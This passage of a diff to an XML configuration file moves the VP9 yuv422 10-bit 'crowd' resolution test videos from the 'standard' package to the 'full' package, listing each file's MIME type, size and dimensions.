-    <value>mime=video/x-vnd.on2.vp9,size=115326,width=16,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=115326,width=16,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_172x172p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21026,width=172,height=172,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21026,width=172,height=172,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_176x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21305,width=176,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21305,width=176,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_176x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=23616,width=176,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=23616,width=176,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1920x1080p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=361882,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=361882,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1920x1088p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=363349,width=1920,height=1088,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=363349,width=1920,height=1088,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1920x1280p50f32_4900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=412929,width=1920,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=412929,width=1920,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1920x1440p50f32_5500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=462320,width=1920,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=462320,width=1920,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1920x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19449,width=1920,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19449,width=1920,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1920x1920p50f32_7300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=589964,width=1920,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=589964,width=1920,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1920x2560p50f32_9800kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=893913,width=1920,height=2560,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_1920x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16876,width=1920,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16876,width=1920,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_192x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21024,width=192,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21024,width=192,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_192x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21448,width=192,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21448,width=192,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_192x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20305,width=192,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20305,width=192,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_192x256p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19130,width=192,height=256,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19130,width=192,height=256,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_192x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18811,width=192,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18811,width=192,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_2048x1152p50f32_4700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=403151,width=2048,height=1152,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=403151,width=2048,height=1152,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_2048x1536p50f32_6200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=515316,width=2048,height=1536,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=515316,width=2048,height=1536,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_2048x2048p50f32_8300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=671894,width=2048,height=2048,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=671894,width=2048,height=2048,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_2160x3840p50f32_16500kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1544196,width=2160,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_216x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18563,width=216,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18563,width=216,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_2304x4096p50f32_18800kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1788109,width=2304,height=4096,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_240x160p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19841,width=240,height=160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19841,width=240,height=160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_240x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18760,width=240,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18760,width=240,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_240x320p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16357,width=240,height=320,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16357,width=240,height=320,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_240x360p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16437,width=240,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16437,width=240,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_24x32p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16235,width=24,height=32,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16235,width=24,height=32,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_2560x1440p50f32_7300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=620030,width=2560,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=620030,width=2560,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_2560x1920p50f32_9800kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=798036,width=2560,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -33555,34 +33555,34 @@
     <value>mime=video/x-vnd.on2.vp9,size=1834785,width=2560,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_256x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20601,width=256,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20601,width=256,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_256x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19079,width=256,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19079,width=256,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_256x256p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18487,width=256,height=256,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18487,width=256,height=256,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_264x352p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16445,width=264,height=352,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16445,width=264,height=352,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_2880x3840p50f32_22100kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2080019,width=2880,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_288x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19182,width=288,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19182,width=288,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_288x216p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18901,width=288,height=216,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18901,width=288,height=216,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_288x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17176,width=288,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17176,width=288,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_288x352p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16380,width=288,height=352,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16380,width=288,height=352,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_288x512p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18610,width=288,height=512,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18610,width=288,height=512,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_3072x4096p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2324865,width=3072,height=4096,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -33591,61 +33591,61 @@
     <value>mime=video/x-vnd.on2.vp9,size=2315541,width=3120,height=4160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_320x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17429,width=320,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17429,width=320,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_320x320p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16471,width=320,height=320,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16471,width=320,height=320,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_320x480p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24250,width=320,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24250,width=320,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_32x24p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=15551,width=32,height=24,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=15551,width=32,height=24,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_32x32p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=15792,width=32,height=32,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=15792,width=32,height=32,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_350x350p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17126,width=350,height=350,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17126,width=350,height=350,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_352x264p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16871,width=352,height=264,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16871,width=352,height=264,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_352x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16594,width=352,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16594,width=352,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_352x352p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17055,width=352,height=352,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17055,width=352,height=352,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_356x638p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=70228,width=356,height=638,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=70228,width=356,height=638,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_356x640p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=70287,width=356,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=70287,width=356,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_358x636p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=70245,width=358,height=636,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=70245,width=358,height=636,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_358x640p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=70368,width=358,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=70368,width=358,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_360x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16810,width=360,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16810,width=360,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_360x360p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18065,width=360,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18065,width=360,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_360x480p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24886,width=360,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24886,width=360,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_360x636p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=70265,width=360,height=636,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=70265,width=360,height=636,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_360x638p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=70164,width=360,height=638,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=70164,width=360,height=638,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_360x640p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=32523,width=360,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=32523,width=360,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_3840x2160p50f32_16500kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1346323,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -33660,7 +33660,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=2303536,width=3840,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_384x512p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=26387,width=384,height=512,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=26387,width=384,height=512,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_4096x2304p50f32_18800kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1789160,width=4096,height=2304,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -33684,148 +33684,148 @@
     <value>mime=video/x-vnd.on2.vp9,size=2539333,width=4608,height=8192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_472x472p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=32700,width=472,height=472,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=32700,width=472,height=472,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_480x320p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24435,width=480,height=320,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24435,width=480,height=320,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_480x360p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=25134,width=480,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=25134,width=480,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_480x480p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=32584,width=480,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=32584,width=480,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_480x640p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=48382,width=480,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=48382,width=480,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_480x720p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=48379,width=480,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=48379,width=480,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_480x848p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=66207,width=480,height=848,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=66207,width=480,height=848,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_48x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21381,width=48,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21381,width=48,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_512x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19035,width=512,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19035,width=512,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_512x384p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=26341,width=512,height=384,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=26341,width=512,height=384,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_512x512p50f32_500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40643,width=512,height=512,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40643,width=512,height=512,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_528x704p50f32_700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=56367,width=528,height=704,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=56367,width=528,height=704,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_5760x7680p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2571869,width=5760,height=7680,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_576x1024p50f32_1100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88789,width=576,height=1024,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88789,width=576,height=1024,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_576x704p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64001,width=576,height=704,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64001,width=576,height=704,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_576x720p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64242,width=576,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64242,width=576,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_600x800p50f32_900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=74171,width=600,height=800,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=74171,width=600,height=800,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_6144x8192p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2596206,width=6144,height=8192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_636x358p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=75276,width=636,height=358,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=75276,width=636,height=358,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_636x360p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=75533,width=636,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=75533,width=636,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_638x356p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=75753,width=638,height=356,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=75753,width=638,height=356,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_638x360p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=75602,width=638,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=75602,width=638,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/resolution/crowd_640x356p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=75279,width=640,height=356,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=75279,width=640,height=356,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
